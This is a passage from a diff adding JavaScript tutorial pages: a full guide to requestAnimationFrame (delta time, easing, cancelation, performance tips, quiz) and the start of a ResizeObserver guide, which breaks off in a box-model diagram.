+``` + +Unlike [`setInterval`](https://developer.mozilla.org/en-US/docs/Web/API/Window/setInterval), `requestAnimationFrame` synchronizes with your monitor's refresh rate, pauses when the tab is hidden, and lets the browser optimize rendering for maximum performance. + +<Info> +**What you'll learn in this guide:** +- What requestAnimationFrame is and why it exists +- How it syncs with the browser's repaint cycle +- Creating smooth animation loops +- Calculating delta time for consistent animation speed +- Canceling animations with cancelAnimationFrame +- When to use rAF vs CSS animations vs setInterval +- Common animation patterns and performance tips +</Info> + +<Warning> +**Prerequisite:** This guide assumes familiarity with the [event loop](/concepts/event-loop) and basic JavaScript functions. If you're new to how JavaScript handles timing, read the event loop guide first. +</Warning> + +--- + +## What is requestAnimationFrame? + +**`requestAnimationFrame`** (often abbreviated as "rAF") is a browser API that tells the browser you want to perform an animation. It requests a callback to be executed just before the browser performs its next repaint, typically at 60 frames per second (60fps) on most displays. + +Here's the key insight: instead of guessing when to update your animation with arbitrary timing like `setInterval(fn, 16)`, `requestAnimationFrame` lets the *browser* tell *you* when it's the optimal time to draw the next frame. + +```javascript +// The browser calls this function when it's ready to paint +function drawFrame(timestamp) { + // timestamp = milliseconds since page load + console.log(`Frame at ${timestamp}ms`); + + // Do your animation work here + updatePosition(); + + // Request the next frame + requestAnimationFrame(drawFrame); +} + +// Start the animation loop +requestAnimationFrame(drawFrame); +``` + +The `timestamp` parameter is a [`DOMHighResTimeStamp`](https://developer.mozilla.org/en-US/docs/Web/API/DOMHighResTimeStamp) representing the time when the frame started rendering. You'll use this for calculating animation progress and delta time. + +--- + +## The Film Projector Analogy + +Think of how movies work. A film projector shows you 24 still images (frames) per second, and your brain perceives smooth motion. If frames come at irregular intervals, the motion looks jerky. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE FILM PROJECTOR │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ +│ │ Frame 1 │ │ Frame 2 │ │ Frame 3 │ │ Frame 4 │ ... │ +│ │ ⚫ │ │ ⚫ │ │ ⚫ │ │ ⚫ │ │ +│ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │ +│ │ │ │ │ │ +│ ▼ ▼ ▼ ▼ │ +│ 16.67ms 16.67ms 16.67ms 16.67ms │ +│ │ +│ ════════════════════════════════════════════════════ │ +│ SMOOTH MOTION (60fps) │ +│ ════════════════════════════════════════════════════ │ +│ │ +│ setInterval: rAF tells the PROJECTOR when to advance │ +│ YOU guess when requestAnimationFrame: │ +│ to show frames PROJECTOR tells YOU when it's ready │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +With `setInterval`, you're trying to guess when the projector will be ready. Sometimes you're early (frame waits), sometimes you're late (frame skipped). With `requestAnimationFrame`, the projector signals when it's ready for the next frame. + +--- + +## Why Not Use setInterval? + +You might think `setInterval(fn, 1000/60)` would give you 60fps. Here's why it doesn't work well for animations: + +### Problem 1: Timing Drift + +`setInterval` isn't precise. The browser might be busy, and your callback could run 20ms or 30ms apart instead of exactly 16.67ms. + +```javascript +// ❌ WRONG - setInterval for animations +let position = 0; + +setInterval(() => { + position += 2; + element.style.left = position + 'px'; +}, 1000 / 60); // Aims for ~16.67ms, often misses +``` + +### Problem 2: Wasted CPU in Background Tabs + +`setInterval` keeps running even when the tab is hidden. Your animation keeps computing frames that nobody sees, draining battery and CPU. + +### Problem 3: Not Synced with Browser Rendering + +The browser might repaint at different times than your interval fires. You could update the DOM twice between repaints (wasted work) or miss the repaint window entirely (dropped frame). + +```javascript +// ✓ CORRECT - requestAnimationFrame for animations +let position = 0; + +function animate() { + position += 2; + element.style.left = position + 'px'; + + if (position < 500) { + requestAnimationFrame(animate); + } +} + +requestAnimationFrame(animate); +``` + +### Comparison Table + +| Feature | setInterval | requestAnimationFrame | +|---------|-------------|----------------------| +| Synced with display | No | Yes (matches refresh rate) | +| Background tabs | Keeps running | Pauses automatically | +| Battery efficiency | Poor | Good | +| Frame timing | Can drift, miss frames | Browser-optimized | +| Animation smoothness | Can be janky | Consistently smooth | + +--- + +## Basic Animation Loop + +Here's the fundamental pattern for `requestAnimationFrame`: + +```javascript +// Basic animation loop pattern +function animate() { + // 1. Update animation state + updateSomething(); + + // 2. Draw/render + render(); + + // 3. Request next frame (if animation should continue) + requestAnimationFrame(animate); +} + +// Kick off the animation +requestAnimationFrame(animate); +``` + +### Practical Example: Moving a Box + +```javascript +const box = document.getElementById('box'); +let position = 0; + +function animate() { + // Update position + position += 2; + + // Apply to DOM + box.style.transform = `translateX(${position}px)`; + + // Continue until we reach 400px + if (position < 400) { + requestAnimationFrame(animate); + } +} + +// Start +requestAnimationFrame(animate); +``` + +<Tip> +**Use `transform` instead of `left` or `top`** for animations. Transform changes don't trigger layout recalculation, making them much faster. +</Tip> + +--- + +## The Timestamp Parameter + +Every `requestAnimationFrame` callback receives a high-resolution timestamp. This is crucial for frame-rate independent animations. + +```javascript +function animate(timestamp) { + // timestamp = milliseconds since the page loaded + console.log(`Current time: ${timestamp}ms`); + + requestAnimationFrame(animate); +} + +requestAnimationFrame(animate); + +// Output (example): +// Current time: 16.67ms +// Current time: 33.34ms +// Current time: 50.01ms +// ... +``` + +The timestamp is the same as what you'd get from [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) at the start of the callback, but using the provided timestamp is more accurate for animation timing. + +--- + +## Delta Time: Frame-Rate Independent Animation + +Here's a critical concept: **if you move an object 2 pixels per frame, it moves faster on a 144Hz monitor than a 60Hz monitor**. The 144Hz display renders more frames per second, so you get more 2-pixel jumps. + +The solution is **delta time** — the time elapsed since the last frame. Instead of moving by a fixed amount per frame, you move based on time elapsed. + +```javascript +const box = document.getElementById('box'); +let position = 0; +let lastTime = 0; +const speed = 200; // pixels per SECOND (not per frame!) + +function animate(currentTime) { + // Calculate time since last frame + const deltaTime = (currentTime - lastTime) / 1000; // Convert to seconds + lastTime = currentTime; + + // Move based on time, not frames + // At 200px/sec, we move 200 * deltaTime pixels each frame + position += speed * deltaTime; + + box.style.transform = `translateX(${position}px)`; + + if (position < 500) { + requestAnimationFrame(animate); + } +} + +// First frame needs special handling +requestAnimationFrame((timestamp) => { + lastTime = timestamp; + requestAnimationFrame(animate); +}); +``` + +Now the box moves at 200 pixels per second regardless of whether the display runs at 30Hz, 60Hz, or 144Hz. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ DELTA TIME VISUALIZATION │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ WITHOUT DELTA TIME: │ +│ ──────────────────── │ +│ 60Hz Monitor: ▶────▶────▶────▶────▶ (60 jumps/sec) │ +│ 144Hz Monitor: ▶─▶─▶─▶─▶─▶─▶─▶─▶─▶─ (144 jumps/sec) FASTER! │ +│ │ +│ WITH DELTA TIME: │ +│ ──────────────── │ +│ 60Hz Monitor: ▶────▶────▶────▶────▶ (200px/sec) │ +│ 144Hz Monitor: ▶─▶─▶─▶─▶─▶─▶─▶─▶─▶─ (200px/sec) SAME SPEED! │ +│ (smaller jumps, more frames, same total distance) │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Canceling Animations + +`requestAnimationFrame` returns an ID that you can use with [`cancelAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/Window/cancelAnimationFrame) to stop the animation. + +```javascript +let animationId; +let position = 0; + +function animate() { + position += 2; + element.style.transform = `translateX(${position}px)`; + + // Store the ID so we can cancel later + animationId = requestAnimationFrame(animate); +} + +// Start animation +function startAnimation() { + animationId = requestAnimationFrame(animate); +} + +// Stop animation +function stopAnimation() { + cancelAnimationFrame(animationId); +} + +// Usage +document.getElementById('start').onclick = startAnimation; +document.getElementById('stop').onclick = stopAnimation; +``` + +<Warning> +**Always update the animation ID** inside your animate function. If you only save the initial ID, calling `cancelAnimationFrame` later won't cancel the most recent request. +</Warning> + +### Preventing Multiple Animations + +A common bug is starting multiple animation loops by clicking a button repeatedly: + +```javascript +// ❌ BUG: Clicking start multiple times creates multiple loops! +let animationId; + +document.getElementById('start').onclick = () => { + function animate() { + // ...animation code... + animationId = requestAnimationFrame(animate); + } + requestAnimationFrame(animate); +}; + +// ✓ FIX: Cancel any existing animation before starting +document.getElementById('start').onclick = () => { + cancelAnimationFrame(animationId); // Cancel previous animation + + function animate() { + // ...animation code... + animationId = requestAnimationFrame(animate); + } + requestAnimationFrame(animate); +}; +``` + +--- + +## Animation Duration and Progress + +For animations that should last a specific duration, track progress as a value from 0 to 1: + +```javascript +const duration = 2000; // 2 seconds +let startTime = null; + +function animate(timestamp) { + if (!startTime) startTime = timestamp; + + // Calculate progress (0 to 1) + const elapsed = timestamp - startTime; + const progress = Math.min(elapsed / duration, 1); + + // Use progress to determine position + // Linear: 0 → 0px, 0.5 → 200px, 1 → 400px + const position = progress * 400; + element.style.transform = `translateX(${position}px)`; + + // Continue until complete + if (progress < 1) { + requestAnimationFrame(animate); + } +} + +requestAnimationFrame(animate); +``` + +### Adding Easing Functions + +Linear animations feel robotic. Easing functions make motion feel natural: + +```javascript +// Easing functions take progress (0-1) and return eased progress (0-1) +const easing = { + // Starts slow, ends fast + easeIn: (t) => t * t, + + // Starts fast, ends slow + easeOut: (t) => t * (2 - t), + + // Slow at both ends + easeInOut: (t) => t < 0.5 + ? 2 * t * t + : -1 + (4 - 2 * t) * t, + + // Bouncy effect + easeOutBounce: (t) => { + if (t < 1 / 2.75) { + return 7.5625 * t * t; + } else if (t < 2 / 2.75) { + return 7.5625 * (t -= 1.5 / 2.75) * t + 0.75; + } else if (t < 2.5 / 2.75) { + return 7.5625 * (t -= 2.25 / 2.75) * t + 0.9375; + } else { + return 7.5625 * (t -= 2.625 / 2.75) * t + 0.984375; + } + } +}; + +function animate(timestamp) { + if (!startTime) startTime = timestamp; + + const elapsed = timestamp - startTime; + const linearProgress = Math.min(elapsed / duration, 1); + + // Apply easing + const easedProgress = easing.easeOut(linearProgress); + + const position = easedProgress * 400; + element.style.transform = `translateX(${position}px)`; + + if (linearProgress < 1) { + requestAnimationFrame(animate); + } +} +``` + +--- + +## When requestAnimationFrame Runs + +Understanding where `requestAnimationFrame` fits in the [event loop](/concepts/event-loop) helps you write better animations: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ ONE EVENT LOOP ITERATION │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ┌─────────────────────────────────────────────────────────┐ │ +│ │ 1. Process one task (setTimeout, events, etc.) │ │ +│ └─────────────────────────────────────────────────────────┘ │ +│ │ │ +│ ▼ │ +│ ┌─────────────────────────────────────────────────────────┐ │ +│ │ 2. Process ALL microtasks (Promises, queueMicrotask) │ │ +│ └─────────────────────────────────────────────────────────┘ │ +│ │ │ +│ ▼ │ +│ ┌─────────────────────────────────────────────────────────┐ │ +│ │ 3. If time to render (usually ~60x/sec): │ │ +│ │ │ │ +│ │ a. Run requestAnimationFrame callbacks ◄── HERE! │ │ +│ │ b. Calculate styles │ │ +│ │ c. Calculate layout │ │ +│ │ d. Paint to screen │ │ +│ │ │ │ +│ └─────────────────────────────────────────────────────────┘ │ +│ │ │ +│ ▼ │ +│ ┌─────────────────────────────────────────────────────────┐ │ +│ │ 4. requestIdleCallback (if idle time remains) │ │ +│ └─────────────────────────────────────────────────────────┘ │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +Key insight: `requestAnimationFrame` callbacks run **right before the browser paints**. This means your DOM changes are applied just in time to be rendered, with no wasted work. + +--- + +## rAF vs CSS Animations vs setInterval + +Each animation approach has its place: + +<Tabs> + <Tab title="requestAnimationFrame"> + **Best for:** + - Complex animations with custom logic + - Game loops + - Physics simulations + - Canvas/WebGL rendering + - Animations depending on user input + + ```javascript + function gameLoop(timestamp) { + handleInput(); + updatePhysics(); + checkCollisions(); + render(); + requestAnimationFrame(gameLoop); + } + ``` + + **Pros:** Full control, frame-by-frame logic, works with canvas + + **Cons:** More code, you handle everything manually + </Tab> + + <Tab title="CSS Animations"> + **Best for:** + - Simple state transitions + - Hover effects + - Loading spinners + - Entrance/exit animations + + ```css + .box { + transition: transform 0.3s ease-out; + } + .box:hover { + transform: scale(1.1); + } + + @keyframes spin { + from { transform: rotate(0deg); } + to { transform: rotate(360deg); } + } + ``` + + **Pros:** Hardware-accelerated, declarative, less code + + **Cons:** Limited control, can't do complex frame-by-frame logic + </Tab> + + <Tab title="Web Animations API"> + **Best for:** + - Controlling CSS-like animations from JavaScript + - Coordinating multiple animations + - When you need JS control but CSS-level performance + + ```javascript + element.animate([ + { transform: 'translateX(0)' }, + { transform: 'translateX(400px)' } + ], { + duration: 1000, + easing: 'ease-out', + fill: 'forwards' + }); + ``` + + **Pros:** Best of both worlds, pause/reverse/scrub animations + + **Cons:** Less browser support for advanced features + </Tab> +</Tabs> + +--- + +## Common Patterns + +### Pattern 1: Reusable Animation Function + +```javascript +function animate({ duration, timing, draw }) { + const start = performance.now(); + + requestAnimationFrame(function tick(time) { + // Calculate progress (0 to 1) + let progress = (time - start) / duration; + if (progress > 1) progress = 1; + + // Apply easing + const easedProgress = timing(progress); + + // Draw current state + draw(easedProgress); + + // Continue if not complete + if (progress < 1) { + requestAnimationFrame(tick); + } + }); +} + +// Usage +animate({ + duration: 1000, + timing: t => t * (2 - t), // easeOut + draw: progress => { + element.style.transform = `translateX(${progress * 400}px)`; + } +}); +``` + +### Pattern 2: Animation with Promise + +```javascript +function animateAsync({ duration, timing, draw }) { + return new Promise(resolve => { + const start = performance.now(); + + requestAnimationFrame(function tick(time) { + let progress = (time - start) / duration; + if (progress > 1) progress = 1; + + draw(timing(progress)); + + if (progress < 1) { + requestAnimationFrame(tick); + } else { + resolve(); // Animation complete + } + }); + }); +} + +// Usage with async/await +async function runAnimations() { + await animateAsync({ /* first animation */ }); + await animateAsync({ /* second animation - starts after first */ }); + console.log('All animations complete!'); +} +``` + +### Pattern 3: Pausable Animation + +```javascript +class Animation { + constructor({ duration, timing, draw }) { + this.duration = duration; + this.timing = timing; + this.draw = draw; + this.elapsed = 0; + this.running = false; + this.animationId = null; + } + + start() { + if (this.running) return; + this.running = true; + this.lastTime = performance.now(); + this.tick(); + } + + pause() { + this.running = false; + cancelAnimationFrame(this.animationId); + } + + tick() { + if (!this.running) return; + + const now = performance.now(); + this.elapsed += now - this.lastTime; + this.lastTime = now; + + let progress = this.elapsed / this.duration; + if (progress > 1) progress = 1; + + this.draw(this.timing(progress)); + + if (progress < 1) { + this.animationId = requestAnimationFrame(() => this.tick()); + } else { + this.running = false; + } + } +} + +// Usage +const anim = new Animation({ + duration: 2000, + timing: t => t, + draw: p => element.style.opacity = p +}); + +startBtn.onclick = () => anim.start(); +pauseBtn.onclick = () => anim.pause(); +``` + +--- + +## Performance Tips + +<AccordionGroup> + <Accordion title="1. Animate transform and opacity only"> + These properties don't trigger layout recalculation. Animating `left`, `top`, `width`, or `height` forces the browser to recalculate layout every frame. + + ```javascript + // ❌ SLOW - triggers layout + element.style.left = position + 'px'; + element.style.width = size + 'px'; + + // ✓ FAST - composited + element.style.transform = `translateX(${position}px)`; + element.style.opacity = alpha; + ``` + </Accordion> + + <Accordion title="2. Use will-change for complex animations"> + Hints to the browser that an element will be animated, allowing it to optimize ahead of time. + + ```css + .animated-element { + will-change: transform; + } + ``` + + Don't overuse it though — it consumes memory. + </Accordion> + + <Accordion title="3. Debounce DOM reads and writes"> + Reading layout properties (like `offsetWidth`) forces a synchronous layout. Batch your reads together, then batch your writes. + + ```javascript + // ❌ BAD - read/write/read/write causes multiple layouts + element1.style.width = element2.offsetWidth + 'px'; + element3.style.width = element4.offsetWidth + 'px'; + + // ✓ GOOD - batch reads, then batch writes + const width2 = element2.offsetWidth; + const width4 = element4.offsetWidth; + element1.style.width = width2 + 'px'; + element3.style.width = width4 + 'px'; + ``` + </Accordion> + + <Accordion title="4. Keep work inside rAF minimal"> + Heavy computation inside `requestAnimationFrame` causes frame drops. Move complex calculations outside or use Web Workers. + + ```javascript + // ❌ BAD - heavy work blocks rendering + function animate() { + const result = expensiveCalculation(); // 50ms of work! + render(result); + requestAnimationFrame(animate); + } + + // ✓ BETTER - compute in chunks or use worker + function animate() { + render(precomputedData[currentFrame]); + currentFrame++; + requestAnimationFrame(animate); + } + ``` + </Accordion> +</AccordionGroup> + +--- + +## Common Mistakes + +### Mistake 1: Forgetting to Request the Next Frame + +```javascript +// ❌ WRONG - only runs once! +function animate() { + element.style.left = position++ + 'px'; + // Forgot to call requestAnimationFrame again! +} +requestAnimationFrame(animate); + +// ✓ CORRECT +function animate() { + element.style.left = position++ + 'px'; + requestAnimationFrame(animate); // Request next frame +} +requestAnimationFrame(animate); +``` + +### Mistake 2: Animation Speed Varies by Frame Rate + +```javascript +// ❌ WRONG - moves faster on high refresh rate displays +function animate() { + position += 5; // 5px per frame + element.style.transform = `translateX(${position}px)`; + requestAnimationFrame(animate); +} + +// ✓ CORRECT - use delta time +let lastTime = 0; +const speed = 300; // pixels per second + +function animate(time) { + const delta = (time - lastTime) / 1000; + lastTime = time; + + position += speed * delta; // Time-based movement + element.style.transform = `translateX(${position}px)`; + requestAnimationFrame(animate); +} +``` + +### Mistake 3: Not Handling the First Frame + +```javascript +// ❌ WRONG - first frame has huge deltaTime (since page load!) +let lastTime = 0; + +function animate(time) { + const delta = time - lastTime; // First call: delta = entire page lifetime! + lastTime = time; + // Animation jumps on first frame +} + +// ✓ CORRECT - initialize lastTime properly +let lastTime = null; + +function animate(time) { + if (lastTime === null) { + lastTime = time; + requestAnimationFrame(animate); + return; + } + + const delta = time - lastTime; + lastTime = time; + // First actual frame has reasonable delta +} +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **`requestAnimationFrame` syncs with display refresh** — it fires right before the browser paints, typically 60 times per second + +2. **Better than setInterval for animations** — smoother, pauses in background tabs, battery-efficient + +3. **One-shot by design** — you must call `requestAnimationFrame` inside your callback to keep animating + +4. **Use the timestamp parameter** — it's more reliable than `Date.now()` or `performance.now()` for animation timing + +5. **Delta time prevents speed variation** — multiply movement by time elapsed, not a fixed amount per frame + +6. **`cancelAnimationFrame(id)` stops animation** — store the ID and update it every frame + +7. **Runs before paint, after microtasks** — part of the rendering phase in the event loop + +8. **Animate transform and opacity** — these properties are GPU-accelerated and don't trigger layout + +9. **CSS animations for simple cases** — use rAF for complex logic, canvas, or game loops + +10. **Handle the first frame specially** — initialize `lastTime` to avoid a huge delta on the first call +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: Why is requestAnimationFrame better than setInterval for animations?"> + **Answer:** + + 1. **Syncs with display refresh** — rAF fires at the optimal time before the browser paints + 2. **Pauses in background tabs** — saves battery and CPU when the tab isn't visible + 3. **Browser-optimized timing** — avoids dropped frames and visual jank + 4. **More accurate timestamps** — provides high-resolution timestamps for smooth animations + + `setInterval` doesn't know about the browser's rendering cycle, may drift, and keeps running when the tab is hidden. + </Accordion> + + <Accordion title="Question 2: What is delta time and why is it important?"> + **Answer:** + + Delta time is the time elapsed since the last frame. It's crucial for **frame-rate independent animations**. + + ```javascript + // Without delta time: 144Hz monitor runs animation 2.4x faster than 60Hz + position += 5; // 5 pixels per frame + + // With delta time: same speed on all monitors + const speed = 300; // pixels per second + position += speed * deltaTime; + ``` + + Without delta time, animations run at different speeds depending on the monitor's refresh rate. + </Accordion> + + <Accordion title="Question 3: How do you stop an animation started with requestAnimationFrame?"> + **Answer:** + + Use `cancelAnimationFrame(id)` with the ID returned from `requestAnimationFrame`: + + ```javascript + let animationId; + + function animate() { + // ... animation code ... + animationId = requestAnimationFrame(animate); // Update ID each frame + } + + // Start + animationId = requestAnimationFrame(animate); + + // Stop + cancelAnimationFrame(animationId); + ``` + + Important: Update `animationId` inside the animate function, not just when starting. + </Accordion> + + <Accordion title="Question 4: When does the requestAnimationFrame callback actually run?"> + **Answer:** + + It runs during the **rendering phase** of the event loop, specifically: + + 1. After the current task completes + 2. After all microtasks are drained + 3. **Before the browser calculates styles, layout, and paints** + + This timing ensures your DOM changes are applied right before they're rendered to screen. + </Accordion> + + <Accordion title="Question 5: What CSS properties should you animate for best performance?"> + **Answer:** + + Animate `transform` and `opacity` — these are compositor-only properties that don't trigger layout or paint: + + ```javascript + // ✓ Fast (compositor only) + element.style.transform = 'translateX(100px)'; + element.style.transform = 'scale(1.2)'; + element.style.transform = 'rotate(45deg)'; + element.style.opacity = 0.5; + + // ❌ Slow (triggers layout) + element.style.left = '100px'; + element.style.width = '200px'; + element.style.margin = '10px'; + ``` + + Layout-triggering properties force the browser to recalculate positions of other elements every frame. + </Accordion> + + <Accordion title="Question 6: How do you handle the first frame to avoid animation jumping?"> + **Answer:** + + Initialize `lastTime` to `null` and skip the first frame's animation: + + ```javascript + let lastTime = null; + + function animate(time) { + if (lastTime === null) { + lastTime = time; + requestAnimationFrame(animate); + return; // Skip first frame + } + + const delta = (time - lastTime) / 1000; + lastTime = time; + + // Now delta is reasonable (16.67ms at 60fps) + position += speed * delta; + + requestAnimationFrame(animate); + } + ``` + + Without this, the first delta would be the time since page load, causing a huge jump. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> + How JavaScript manages async operations and where rAF fits in the rendering cycle + </Card> + <Card title="DOM" icon="sitemap" href="/concepts/dom"> + Understanding the Document Object Model that animations manipulate + </Card> + <Card title="Debouncing & Throttling" icon="gauge" href="/beyond/concepts/debouncing-throttling"> + Rate-limiting techniques often combined with animations + </Card> + <Card title="Web Workers" icon="gears" href="/concepts/web-workers"> + Offload heavy computation to keep animations smooth + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="requestAnimationFrame — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame"> + Complete API reference including syntax, parameters, return value, and browser compatibility. + </Card> + <Card title="cancelAnimationFrame — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/cancelAnimationFrame"> + Documentation for canceling scheduled animation frame requests. + </Card> + <Card title="DOMHighResTimeStamp — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/DOMHighResTimeStamp"> + Understanding the high-resolution timestamp passed to rAF callbacks. + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="JavaScript Animations — javascript.info" icon="newspaper" href="https://javascript.info/js-animation"> + Comprehensive tutorial covering rAF, timing functions, and animation patterns. Includes interactive examples and exercises to practice. + </Card> + <Card title="Using requestAnimationFrame — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/using-requestanimationframe/"> + Chris Coyier's practical guide with code examples showing start/stop patterns and the polyfill for older browsers. + </Card> + <Card title="requestAnimationFrame for Smart Animating — Paul Irish" icon="newspaper" href="https://www.paulirish.com/2011/requestanimationframe-for-smart-animating/"> + The original blog post that popularized rAF. Paul Irish explains why it's better than setInterval with great technical depth. + </Card> + <Card title="Optimize JavaScript Execution — web.dev" icon="newspaper" href="https://web.dev/articles/optimize-javascript-execution"> + Google's guide to keeping JavaScript execution within frame budgets. Essential reading for avoiding animation jank. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="In The Loop — Jake Archibald" icon="video" href="https://www.youtube.com/watch?v=cCOL7MC4Pl0"> + Jake Archibald's JSConf.Asia talk diving deep into the event loop, tasks, microtasks, and where requestAnimationFrame fits. A must-watch. + </Card> + <Card title="requestAnimationFrame — The Coding Train" icon="video" href="https://www.youtube.com/watch?v=c6iN14aXPR0"> + Visual and beginner-friendly explanation of animation loops using requestAnimationFrame. Great for those new to animation. + </Card> + <Card title="JavaScript Game Loop — Franks Laboratory" icon="video" href="https://www.youtube.com/watch?v=mJJmQRjxO5w"> + Practical tutorial building a game loop with delta time. Shows real implementation of frame-rate independent animation. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/resize-observer.mdx b/docs/beyond/concepts/resize-observer.mdx new file mode 100644 index 00000000..56b221e5 --- /dev/null +++ b/docs/beyond/concepts/resize-observer.mdx @@ -0,0 +1,903 @@ +--- +title: "ResizeObserver: Detect Element Size Changes in JavaScript" +sidebarTitle: "ResizeObserver" +description: "Learn the ResizeObserver API in JavaScript. Detect element size changes, build responsive components, and replace inefficient window resize listeners." +--- + +How do you know when an element's size changes? Maybe a sidebar collapses, a container stretches to fit new content, or a user resizes a text area. How can JavaScript respond to these changes without constantly polling the DOM? + +```javascript +// Detect when an element's size changes +const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + console.log('Element resized:', entry.target); + console.log('New width:', entry.contentRect.width); + console.log('New height:', entry.contentRect.height); + } +}); + +observer.observe(document.querySelector('.resizable-box')); +``` + +The **[ResizeObserver API](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver)** lets you watch elements for size changes and react accordingly. Unlike the `window.resize` event that only fires when the viewport changes, ResizeObserver detects size changes on individual elements, no matter what caused them. + +<Info> +**What you'll learn in this guide:** +- What ResizeObserver is and why it replaces window resize listeners +- How to create and use a ResizeObserver +- Understanding contentRect vs borderBoxSize vs contentBoxSize +- Building responsive components with element queries +- Common use cases: responsive typography, canvas resizing, layout adjustments +- Performance considerations and best practices +- How to avoid infinite loops and observation errors +</Info> + +<Warning> +**Prerequisite:** This guide assumes familiarity with the [DOM](/concepts/dom). If you're new to DOM manipulation, read that guide first! +</Warning> + +--- + +## What is ResizeObserver? + +The **ResizeObserver** interface reports changes to the dimensions of an element's content box or border box. It provides an efficient way to monitor element size without resorting to continuous polling or listening to every possible event that might cause a resize. + +Before ResizeObserver, detecting element size changes was painful: + +```javascript +// The old way: Listen to window resize and hope for the best +window.addEventListener('resize', () => { + const width = element.offsetWidth; + // But this ONLY fires when the viewport resizes! + // It misses: content changes, CSS animations, sibling resizes... +}); + +// Even worse: Polling with setInterval +setInterval(() => { + const currentWidth = element.offsetWidth; + if (currentWidth !== lastWidth) { + handleResize(); + lastWidth = currentWidth; + } +}, 100); // Wasteful! Runs even when nothing changes +``` + +ResizeObserver solves all of this. It fires exactly when an observed element's size changes, regardless of the cause. + +--- + +## The Tailor Shop Analogy + +Think of ResizeObserver like a tailor who constantly monitors your measurements, ready to adjust your clothes the moment your size changes. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE TAILOR SHOP │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ THE OLD WAY: Check Everyone When the Door Opens │ +│ ───────────────────────────────────────────────── │ +│ │ +│ Door opens → Measure EVERYONE → Most unchanged! │ +│ (window resize) (check all elements) (wasted effort) │ +│ │ +│ ──────────────────────────────────────────────────────────────── │ +│ │ +│ THE RESIZEOBSERVER WAY: Personal Tailors for Each Customer │ +│ ───────────────────────────────────────────────────────────── │ +│ │ +│ Customer Personal Tailor Instant Adjustment │ +│ (element) (observer callback) (only when needed) │ +│ │ +│ "I gained weight" → "I noticed!" → "Let me adjust your suit" │ +│ (size changes) (callback fires) (your resize handler) │ +│ │ +│ Other customers? → Still relaxing → No wasted work! │ +│ (unchanged elements) (no callback) │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +ResizeObserver assigns a "personal tailor" to each element you want to watch. The tailor only springs into action when that specific element's measurements change. + +--- + +## How to Create a ResizeObserver + +Creating a ResizeObserver follows the same pattern as other observer APIs like [IntersectionObserver](/beyond/concepts/intersection-observer) and [MutationObserver](/beyond/concepts/mutation-observer). + +### Basic Syntax + +```javascript +// Step 1: Create the observer with a callback function +const resizeObserver = new ResizeObserver((entries, observer) => { + // This callback fires whenever observed elements resize + for (const entry of entries) { + console.log('Element:', entry.target); + console.log('Size:', entry.contentRect.width, 'x', entry.contentRect.height); + } +}); + +// Step 2: Start observing elements +const box = document.querySelector('.box'); +resizeObserver.observe(box); + +// Step 3: Stop observing when done +resizeObserver.unobserve(box); // Stop watching one element +resizeObserver.disconnect(); // Stop watching all elements +``` + +### The Callback Parameters + +The callback receives two arguments: + +| Parameter | Description | +|-----------|-------------| +| `entries` | An array of [ResizeObserverEntry](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserverEntry) objects, one per observed element that changed | +| `observer` | A reference to the ResizeObserver itself (useful for disconnecting from within the callback) | + +### The ResizeObserverEntry Object + +Each entry provides information about the resized element: + +```javascript +const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + // The element that was resized + console.log(entry.target); + + // Legacy way: contentRect (DOMRectReadOnly) + console.log(entry.contentRect.width); // Content width + console.log(entry.contentRect.height); // Content height + console.log(entry.contentRect.top); // Padding-top value + console.log(entry.contentRect.left); // Padding-left value + + // Modern way: More detailed size information + console.log(entry.contentBoxSize); // Content box dimensions + console.log(entry.borderBoxSize); // Border box dimensions + console.log(entry.devicePixelContentBoxSize); // Device pixel dimensions + } +}); +``` + +--- + +## Understanding Box Models in ResizeObserver + +ResizeObserver can report sizes using different CSS box models. Understanding the difference is crucial for accurate measurements. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ CSS BOX MODEL │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ┌─────────────────────────────────────────────────────────┐ │ +│ │ MARGIN │ │ +│ │ ┌─────────────────────────────────────────────┐ │ │ +│ │ │ BORDER │ │ │ +│ │ │ ┌───────────────────────────────────┐ │ │ │ +│ │ │ │ PADDING │ │ │ │ +│ │ │ │ ┌─────────────────────────┐ │ │ │ │ +│ │ │ │ │ │ │ │ │ │ +│ │ │ │ │ CONTENT BOX │ │ │ │ │ +│ │ │ │ │ (contentRect) │ │ │ │ │ +│ │ │ │ │ │ │ │ │ │ +│ │ │ │ └─────────────────────────┘ │ │ │ │ +│ │ │ │ ↑ contentBoxSize │ │ │ │ +│ │ │ └───────────────────────────────────┘ │ │ 